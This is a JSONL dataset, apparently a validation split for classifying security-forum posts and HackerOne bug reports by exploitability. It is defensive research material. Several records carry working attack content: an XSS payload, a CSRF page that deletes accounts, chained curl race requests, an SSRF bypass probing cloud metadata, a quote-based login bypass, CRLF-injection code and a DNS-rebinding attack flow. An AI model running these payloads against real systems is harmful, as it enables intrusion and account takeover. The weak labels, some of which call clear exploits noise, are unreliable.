-{"id": "ae1613e4ebc89d1deac5", "text": "highsalad:Overall, after 6 months between being lost and slowly progressing, I ended up on this forum, still motivated and hungry for helpI have put in many years. I was an old member from a (very old) website (elitehackers.com, confine.com) which is well over 20 years ago. I am still learning. The best advice I can give is; even if you don’t understand what you are reading, keep reading. Don’t stop in the middle of a tutorial, article, or book simply because it is long and you don’t understand it. Most people never make it out of the script kiddie phase because they find out that it can be difficult and takes a long time to master (I’m talking about hacking…). I have worked in the (cyber) security industry and the software industry, and now I don’t work in either. It’s good money but it’s for sheep.Learning is repetition and nobody wants to repeat something if they don’t like it. If you don’t like programming this is not for you. If you don’t like solving problems, this is not for you. etcetera. etc… Right now you should be spending 12 hours a day buried in a console reading manpages and trying to touch and discover every inch of a UNIX box, yes, it should be installed as your primary OS immediately. (xfce is preferred but theys always haters in the branches bruh). Nothing wrong with any other operating systems, it’s whatever makes you more comfortable when you have to bear down on some neighborhood noob trying to scan your shit… anyway…Don’t limit yourself to one tutorial or article on a topic. You can’t get the whole news about something with just one news channel or newspaper. The same with learning about xss, heap sprays, nop sleds, and all that other gnarly cool stuff that makes digital wizardry an attractive force to behold, you can’t just read or watch something from one person or one source. If there is an article in Phrack about some overflow and they break it down, you can always read more articles about the same exploit in another source (that’s how WE ALL learn). Don’t be a noob, rtfm, then read some more.With all the haterade being tossed in your face (whether you know it or not) I leave you with a few links you may not know about, the internet is huge, start searching and poking around:https://www.corelan.be/http://phrack.org/International Journal of Proof-of-Concept or Get The Fuck Out (PoC||GTFO)radarehttps://godbolt.org/https://packetstormsecurity.com/Debian -- Getting DebianGuide to x86 AssemblyThe Art of Assembly Languagehttps://b-ok.cc/https://book.hacktricks.xyz/CyberCrimehttps://gf2juatsqdph6x2h.onion/and stop being an asshole. you know you are. haha. na i dont care what they say about you youre cool.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5af85a1d3685a0d5b928", "text": "Hey @Rapunzel3000 were you able to figure this out? I am also stuck on trying to use the rockyou-30 wordlist. I tried cleaning up the wordlist but no luck so far due to not having the permissions to use sed", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e1e7ebeb92ad2e236df", "text": "I struggled with this particular assessment like every other person trying to solve this challenge. However, I will like to tell you not to give up because patience is the key and sometimes, you have to think outside the box. Clue here is to use username-anarchy firstname lastname to generate possible username, then use cupp -i to generate possible password, don’t be too crazy filling all the parameters, You should be good with firstname, last name, special char and leet. This you can consult with the study material to use sed to remove possible password that doesn’t conform with the password policy. Major take away. Even with the clue above, you gonna find out that it takes forever and you might be feeling frustrated that you’re not on the right path which is something I encountered. But this is where I pull out my think outside the box card. I knew something is wrong somewhere, I immediately make a copy of the generated username, I removed some usernames and only left what I believe might be possible employee usernames in real enterprise environment. Possible user name for Jon Doe j.doe doe.j jon.doe jdoe doej If you follow this pattern, along with the password generated with cupp, you should get the ssh login withing 1-2mins", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bea5c1b6b347e6a179d4", "text": "[Improper Access Control - Generic] Reset password link sent over unsecured http protocol\n\n## Summary:\nAfter creating the workspace, if victim clicks on forgot password then reset password link has been generated and sent over mail and that password link is unsecured http protocol.\n\n## Steps To Reproduce:\n\n  1. Signup to a workspace\n  2. Navigate to https://h1-\\*your-own-instance\\*.cloud.mattermost.com/reset_password and enter signup email\n  3. Check email, you will get reset passwork link. {F2201387}\n  4. Copy that link paste in notepad and observe the protocol. {F2201388}\n\n## Mitigation:\nGenerate reset password link with secured https protocol.\n\n## Impact\n\nIf the victim opens the reset password link and forgot to update the password, anyone from intermediate computers through network or sniffer can reset the password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2f8bc839c09a2a5bfea", "text": "[Violation of Secure Design Principles] Redirecting users to malicious torrent-files/websites using WebTorrent\n\n## Summary:\n\nAn attacker can redirect a user to a malicious torrent file/website using a reverse tab-nabbbing flaw in WebTorrent.\n\n\n##Description\n\nWebTorrent allows user to open files after download of while they are being downloaded directly from the browser\n\n{F965466}\n\nAn attacker can use this to redirect users to malicious websites and torrent files as the anchor tag allowing to open up the file is not prone to reverse tabnabbing attacks.\n\n{F965467}\n\n##Tested on\n\n* Brave Version 1.12.114 Chromium: 84.0.4147.135 (Windows)\n\n## Steps To Reproduce:\n\n * Visit the POC link https://php-demo-app-shibli.cfapps.io/brave/poc-bave.php?x=.torrent\n* Click on \"Start Torrent\"\n* Once the file starts downloading, try opening up the file\n* You will see the previous tab will navigate to a different torrent file or website.\n\nPlease refer below video poc for better understanding.\n\n{F965473}\n\n## Impact\n\n* An attacker can trick a victim to download a malicious file instead of the original file.\n* An attacker can redirect a user to a malicious webpage for other harmful attacks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aaae9ff87c09ba469c55", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS via ' profile ' at https://www.miroyalcanin.cl/\n\nhi team \ni found stored xss on profile \n\n1. Go to registration page  (https://www.miroyalcanin.cl/)\n2. Verified your account.\n3. Go to login page and login your account.\n\nFor the fastly test, use this credentials to login (my test account)\n\n* For Attacker \n\nemail: deweha7916@mitigado.com\npass: Password\n* For Victime\n\nemail: povik23037@cyclesat.com\npass: password\n\nAfter login i change animal name to payload xss .. i open victime account and i put attacker profile url so i succeeded.\n\n{F2258722}\n\n## Impact\n\nStored Cross Site Scripting which attacker can execute malicious javascript payload.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3759f7beb8b5d0408435", "text": "[Improper Access Control - Generic] DNS rebinding in --inspect (insufficient fix of CVE-2022-32212 affecting macOS devices)\n\n**Summary:** This is an insufficient fix of CVE-2022-32212, which itself is a fix of CVE-2018-7160. There exists a specific behaviour in browsers on macOS devices when handling the `http://0.0.0.0`URL that allows an attacker-controlled DNS server to bypass the DNS rebinding protection by resolving hosts in the `.local` domain.\n\n**Description:** \n\nIn the latest version, only IP addresses and `localhost` are allowed in the `Host` header when connecting to the debugger endpoint. `IsIPAddress` ensures that IPv4 address octets only contain values ranging from 0 to 255, but this allows `0.0.0.0` [which indicates an invalid or unroutable target](https://en.wikipedia.org/wiki/0.0.0.0). \n\nIn macOS devices, using `fetch(\"http://0.0.0.0\")`or opening `http://0.0.0.0` through a top-level navigation in Chrome and Firefox will cause a DNS request to resolve `<Computer Name>.local`, where Computer Name is configured in the system preferences (the use of the `.local` TLD is a known [feature](https://blog.scottlowe.org/2006/01/04/mac-os-x-and-local-domains) of macOS devices). If such a request succeeds, `http://0.0.0.0` is routed to the IP address provided in the DNS reply. This would typically be the same as the IP address of the device on the local network, so `http://0.0.0.0` will typically route to any application listening on the local interface - working as intended.\n\nAn attacker-controlled DNS server can, however, resolve `<Computer Name>.local` to any arbitrary IP address, and consequently cause the victim's browser to load arbitrary content at `http://0.0.0.0`. This allows the attacker to bypass the DNS rebinding protection.\n\nNote: On Windows devices, `http://0.0.0.0` is treated as an invalid URL and the request is blocked.\n\n## Steps To Reproduce:\n\n### General Attack Flow\n\n1. Victim runs node with --inspect option\n2. Victim visits attacker's webpage\n3. The attacker's webpage opens `http://0.0.0.0:9229`\n4. Victim asks the DNS server for `<Computer Name>.local` and gets <attacker's-IP>.\n5. Victim loads webpage `http://0.0.0.0:9229` from <attacker's-IP>.\n6. The webpage `http://0.0.0.0:9229` tries to load `http://0.0.0.0:9229/json`.\n7. Due to a short TTL, the DNS server will be soon asked again about an entry for `<Computer Name>.local`. This time, the DNS server responds with \"127.0.0.1\".\n8. The `http://0.0.0.0:9229` website (i.e., the one hosted on <attacker's IP>) will retrieve `http://0.0.0.0:9229/json` from 127.0.0.1, including webSocketDebuggerUrl.\n9. Now, the attacker knows the webSocketDebuggerUrl and can connect to it using WebSocket. Note that WebSocket is not restricted by same-origin policy. By doing so, they can gain the privileges of the Node.js instance.\n\nVulnerable code segment: https://github.com/nodejs/node/blob/d9b71f4c241fa31cc2a48331a4fc28c15937875a/src/inspector_socket.cc#L164-L183\n\n### DNS Setup\n\nIn this example I used [dnsmasq](https://thekelleys.org.uk/dnsmasq/doc.html) as my DNS server. You can use {F1816108} for a minimal Docker setup that demonstrates the arbitrary resolution of `<Computer Name>.local` domains. The `hosts` file should be changed according to the configured Computer Name of the victim device (through system preferences). For example, my Computer Name is `Zeyu’s MacBook Pro`, which means I had the `Zeyus-Macbook-Pro.local` domain.\n\n```\n# Resolve <Computer Name>.local to any IP address\n1.1.1.1 Zeyus-Macbook-Pro.local\n```\n\nWhen connecting to `http://0.0.0.0`, the page is loaded from `1.1.1.1` instead.\n\n{F1816116}\n\nIf you observe the network traffic while connecting to `http://0.0.0.0`, you should see the relevant DNS requests and replies.\n\n{F1816134}\n\nSubsequently `<Computer Name>.local` can be rebinded to `127.0.0.1`, causing the page to be loaded from `127.0.0.1` where the debugger is listening.\n\n{F1816125}\n\n## Suggested Remediation\n\n[According to IANA](https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml), `0.0.0.0/8` is a reser", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32212", "CVE-2018-7160"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f77fefab6cb3f631d2cc", "text": "I’m stuck on the last one. Any help? I’ve already tried playing with the filters but i dont come up with anything new.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c948c2b879186085d4bc", "text": "[Unknown] Race condition in endpoint POST fetlife.com/users/invitation, allow attacker to generate unlimited invites\n\nThis report describes the same bug as #1455487. I rewrite this bug here to make the report clearer. I will self-close #1455487 right now.\n\n# Description\n\nThe `Invite Your Friend to Join FetLife` feature is vulnerable to race condition.\n\nBy sending many requests at the same time to endpoint `POST fetlife.com/users/invitation`. We are able to send many invites with the cost of 1 invite.\n\n{F1592724}\n\nAlso, if we cancel sent-invite, we get back this invite. So basically, we can create unlimited invites by send many invites in race condition, then canceling them to get invites added back to our account.\n\n{F1592733}\n\n# Step to Reproduce\n\nThis is a chain of 10 curl commands in the form of `curl_command_1 & curl_command_2 & ... & curl_command_10`. It allows us to run 10 curl commands at the same time.\n\n```\ncurl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_1}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_2}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_3}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_4}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_5}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_6}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_7}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_8}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_9}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_10}'\n```\n\n1. Please inputs your `session_id` and `authenticity_token` in the above command, there are 10 places to input for each\n2. Please uses 10 different emails for 10 curl commands above. such as, `example+1@gmail.com, example+2@gmail.com, ..., example+10@gmail.com`\n3. Please url-encode your email addresses, so that: `example+1@gmail.com` becomes `example%2B1%40gmail.com`\n\n## Impact\n\nAttacker is able to generate unlimited amount of invites.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d41ce7717cd488d4655e", "text": "[Privilege Escalation] Getting a free delivery by singing up from \"admin_@glovoapp.com\"\n\nHello\nGetting a free delivery for food by just signing up from \"admin_@glovoapp.com\" and you also see the  \" FREE delivery Glovo Team\n∞\" in profile  section. \nTo cross check, i made a another account by using regular email-id \"toweli5706@6ekk.com \" and placed a order with same location but i didn't got any free delivery option.\n\nSteps To Reproduce:\n1) Signup as \"admin_@glovoapp.com\"\n2) Select any city \n3) Place a order.\n\nAttached a screenshots for further reference.\n\n## Impact\n\nAnybody can signup by using a @glovoapp.com, so they can easily get free delivery for food and extra privilege.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21ae96f7237c932c20db", "text": "[Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)] Insecure randomness for default password in file sharing when password policy app is disabled\n\n## Summary:\nSharing links can be protected with a password. However, the function used for generating this password is using cryptographically insecure RNG.\n\n`server-25.0.0\\apps\\files_sharing\\src\\utils\\GeneratePassword.js` (lines 36-55):\n\n```php\nexport default async function() {\n\t// password policy is enabled, let's request a pass\n\tif (config.passwordPolicy.api && config.passwordPolicy.api.generate) {\n\t\ttry {\n\t\t\tconst request = await axios.get(config.passwordPolicy.api.generate)\n\t\t\tif (request.data.ocs.data.password) {\n\t\t\t\treturn request.data.ocs.data.password\n\t\t\t}\n\t\t} catch (error) {\n\t\t\tconsole.info('Error generating password from password_policy', error)\n\t\t}\n\t}\n\n\t// generate password of 10 length based on passwordSet\n\treturn Array(10).fill(0)\n\t\t.reduce((prev, curr) => {\n\t\t\tprev += passwordSet.charAt(Math.floor(Math.random() * passwordSet.length))\n\t\t\treturn prev\n\t\t}, '')\n}\n```\n\nThe first part of the function handles the password generation in a safe way when a password policy is present. However, there is another variant generating the password using `Math.random` function, which is not appropriate for use in a security-sensitive context.\n\nCitation from [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random):\n*\"Note: Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method.\"*\n\n## Supporting Material/References:\n  * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random\n * https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues\n\n## Impact\n\nAn attacker might be able to access the shared files even without knowledge of the password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e7ee0ede0f0f7628474", "text": "[Server-Side Request Forgery (SSRF)] Bypassing Whitelist to perform SSRF for internal host scanning\n\nHello\n\nI have managed to identify a misconfiguration on the server side request forgery protections under host geonode.state.gov/proxy/?url=\n\nThis is using a whitelist protection to ensure only allowed domains and requested in the url e.g. url=geonode.state.gov  sends a request.\n\nThe backend is configured differently to the front end and here we can trick the backend to send requests that are not in the whitelist and also include internal IPs for host scanning.\n\nUsing the URL  -- - GET  geonode.state.gov/proxy/?url=http://burpcollablink\\@geonode.state.gov   will send a request HTTP from the server to your burp collaborator URL, see screenshot and the response will be displayed on the response page.\n\nchanging the URL to geonode.state.gov/proxy/?url=http://169.254.169.254\\@geonode.state.gov identifies the alive host 169.254.169.254 which is the internal AWS instance as the response shows \"404 NOT FOUND\". This shows the host is alive on the IP, but because the server is converting the \\ to \\/@geonode.state.gov it is sending the request http://169.254.169.254\\/@geonode.state.gov which is obviously not an existing endpoint of 169.254.169.254, but it shows this IP address and host are alive. To confirm do  http://169.254.169.251\\/@geonode.state.gov  and you will not get a response, showing the iP host is not alive\n\nWe can use this information to conduct internal host scans to identify alive hosts across the internal network, monitoring responses back. This is a low issue at this stage as no RCE has been achieved, but it has still shown a misconfiguration in the SSRF protection.\n\nThe misconfiguration exists because the front end seeing the whitelist host geonode.state.gov exists in the URL, but the backend is parsing this as a credential host, but the \\ before on the backend terminates the HTTP lookup and will send a request to the host identified before the \\.\n\n## Impact\n\nssrf misconfiguration allowing internal host scanning on the internal network", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4d62b33b994ae2d05a32", "text": "* find / -name .bak 2>/dev/null will return all files with .bak extension and using |wc - l will give a count of them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bd76647137d629adf6b1", "text": "I was just about to make a new post regarding this question but figured it out as I was making the post - After multiple attempts, I wasn’t able to enumerate the page name with the -e switch, even with the correct extension listed. Haven’t figured out why yet. Nonetheless, by manually performing the fuzz on the appropriate resource, I was able to see the page they were referring to. However, this started my biggest challenge, which was entering the answer as they preferred it. AttackingWebApplicationswithFfuf 765×178 30 KB After a successful curl and receiving the described text, I copy/pasted the URL into the answer section only to be met with an incorrect response. Thinking there may be another page, my pursuit continued. Hours later, I clicked on the HINT and realized the format they wanted it in. Argh!!!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c79a9695e561ce8e178a", "text": "[Unknown] [Python]: Add Server-side Request Forgery sinks\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87bd2662abb7d7dd7d18", "text": "[Modification of Assumed-Immutable Data (MAID)] Prototype pollution via console.table properties\n\n**Summary:**\n\nAttacker control of the second `properties` parameter of `console.table` may lead to prototype pollution.\n\n**Description:**\n\nDue to the formatting logic of the `console.table` function it is not safe to allow user controlled input to be passed to the `properties` parameter while simultaneously passing a plain object with at least one property as the first parameter.\n\nThe prototype pollution has very limited control, in that it only allows an empty string to be assigned numerical keys of the object prototype.\n\n## Steps To Reproduce:\n\nThe vulnerability can be reproduced in the Node.js REPL, tested with version `v16.7.0`:\n\n  1. Run the following: `console.table({foo: 'bar'}, ['__proto__'])`\n  2. Verify that the object prototype has been polluted: `Object.prototype[0] === ''`\n\nThe pollution will vary depending on the number of properties on the object passed as the first parameter, with each additional property assigning another incrementing index of the object prototype. This means that if the first parameter is also controlled by the attacker, it is possible to assign empty strings from `0..n` to the object prototype, for any `n`:\n\n```\n> console.table({a: 1, b: 1, c: 1}, ['__proto__'])\nUncaught TypeError: Cannot create property '0' on string ''\n\n> Object.prototype\n[Object: null prototype] { '0': '', '1': '', '2': '' }\n```\n\nThe vulnerable assignment can be found [here](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576) in the Node.js `console.table` implementation.\n\nA suggested remediation is to ignore `properties` named `'__proto__'`, or to use a different data structure to store the computed table fields. For example:\n\n```diff\n const keys = properties || ObjectKeys(item);\n for (const key of keys) {\n+  if (key === '__proto__') {\n+    continue\n+  }\n   if (map[key] === undefined)\n     map[key] = [];\n```\n\n## Impact:\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.\n\n## Supporting Material/References:\n\n  * [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')](https://cwe.mitre.org/data/definitions/1321.html)\n  * [The vulnerable assignment](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576)\n\n## Impact\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "975350be2f963fe04c23", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to delete accounts [HtUS]\n\nHello,\nI Have an endpoint in ██████████that's vulerable to CSRF which lead to delete a victim's account\n\nSteps to reproduce:\n1. Nevgaite to ███Create an account\n2. Click on your profile\n3. You will see DELETE ACCOUNT button\n4. Click on it and type YES in the input\n5. Make sure your burpsuite is on and click delete account button\n\n```\nPOST /users/deleteAccount HTTP/1.1\nHost: ██████\nCookie: _ga=GA1.2.984523169.1657131465; _gid=GA1.2.2029769492.1657131465; session=eyJwYXNzcG9ydCI6eyJ1c2VyIjoibmlnaHRtNHJlQHdlYXJlaGFja2Vyb25lLmNvbSJ9fQ==; session.sig=S8rkHNPfoRIIU66VUCbDCaV_Kb4; _ga_FCSTM1E00P=GS1.1.1657145372.2.1.1657145650.0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nOrigin: https://███████\nReferer: https://█████/users/deleteAccount\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nContent-Length: 0\nTe: trailers\nConnection: close\n```\n\n6. Capture the request and click right > Engagement Tools > Generate CSRF POC\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://████/users/deleteAccount\" method=\"POST\">\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n```\n\n7. Copy the HTML Code and put to your server and send the page to the victim\n8. Once the vicitm opnening the page his account will be deleted\n\n## Impact\n\nAn attacker can delete vicitm's account", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1aab031d52370baadd6c", "text": "[Uncontrolled Resource Consumption] unsanitized input goes to regex function leads to ReDos that make request hangs\n\nApache Airflow, versions before 2.6.3, has a vulnerability where an authenticated user can use crafted input to make the current request hang\n\n## Impact\n\nthis will help attacker achieve Dos attack with less effort", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8564ab3df3c28d85046a", "text": "HOW?!?! I’ve got the reverse shell - is it a priv escalation or is that not what they’re looking for? Is there a way to make the msfvenom payload “cat /root/flag.txt” instead of the reverse shell?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9101e24bf6d071d17adc", "text": "[Cross-site Scripting (XSS) - Reflected] [https://app.recordedfuture.com] - Reflected XSS via username parameter\n\n## Steps To Reproduce:\n\n```\n1-> Visit https://app.recordedfuture.com/live/login/?reset=x&username=xss%22%3E%3Cimg+src=x+onerror=alert(document.domain)%3E\n```\n\n## Impact\n\nAn attacker could be able to Inject Malicious Javascript to compromise users", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2c1827f65aea9d07eea5", "text": "[Improper Authentication - Generic] authentication bypass\n\n**Description:**\nhello team!\n\nthe endpoint https://www.████████/852585B6003EBA25/Login.html?open\nThere is a page to log in!\nhowever, it is possible to ignore this page using just a single quote '\n\nlet's go!\n\n1: go to https://www.███████/852585B6003EBA25/Login.html?open\n2: in the login field put a single quote '\n3: boom! Now you have access to the portal completely ignoring the login and password field!!\n\nlittle video:\n███\n\n## Impact\n\nImproper Authentication\n\n## System Host(s)\nwww.█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nlet's go!\n\n1: go to https://www.████████/852585B6003EBA25/Login.html?open\n2: in the login field put a single quote '\n3: boom! Now you have access to the portal completely ignoring the login and password field!!\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4160e26a8fdc8f1c2f1e", "text": "[Improper Access Control - Generic] Unauthorized Access to Internal Server Panel without Authentication\n\nThe server can be accessed without any authentication and it contains information that should not be kept public for anyone.\n\nI advice you to take look if this data are sensitive or not!\n\n\n## References\n███████\n\n## Impact\n\nThere might be sensitive info that should not have to be leaked to public.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to the target url: https://████/\nSee that you directly are inside the server without logging in.\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "890e00def9705eb7fb07", "text": "[CRLF Injection] CRLF Injection in Nodejs ‘undici’ via host\n\nSummary: \nundici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘host’ header of undici.request api.\nDescription:\nlike https://hackerone.com/reports/1664019\nSource code:\nlib/core/request.js:296\n\n```javascript\nfunction processHeader (request, key, val) {\n  if (val && (typeof val === 'object' && !Array.isArray(val))) {\n    throw new InvalidArgumentError(`invalid ${key} header`)\n  } else if (val === undefined) {\n    return\n  }\n\n  if (\n    request.host === null &&\n    key.length === 4 &&\n    key.toLowerCase() === 'host'\n  ) {\n    // Consumed by Client\n    request.host = val // without headerCharRegex.exec(val)\n  } else if (\n    request.contentLength === null &&\n...\n```\nExample:\n```javascript\nimport { request } from 'undici'\n\nconst unsanitizedContentTypeInput =  '12 \\r\\n\\r\\naaa:aaa'\n\nconst {\n    statusCode,\n    headers,\n    trailers,\n    body\n} = await request('http://127.0.0.1:23333', {\n    method: 'GET',\n    headers: {\n        'content-type': 'application/json',\n        'host': unsanitizedContentTypeInput\n    }\n})\n\nconsole.log('response received', statusCode)\nconsole.log('headers', headers)\n\nfor await (const data of body) {\n    console.log('data', data)\n}\n\nconsole.log('trailers', trailers)\n\n```\n{F2182450}\nI have submitted the report： https://hackerone.com/reports/1820955\nSecurity Releases: https://nodejs.org/en/blog/vulnerability/february-2023-security-releases/#fetch-api-in-node-js-did-not-protect-against-crlf-injection-in-host-headers-medium-cve-2023-23936\nSecurity Advisory: https://github.com/nodejs/undici/security/advisories/GHSA-5r9g-qh6m-jxff\n\n## Impact\n\nAll versions of the 19.x, 18.x and 16.x release lines.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-23936"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
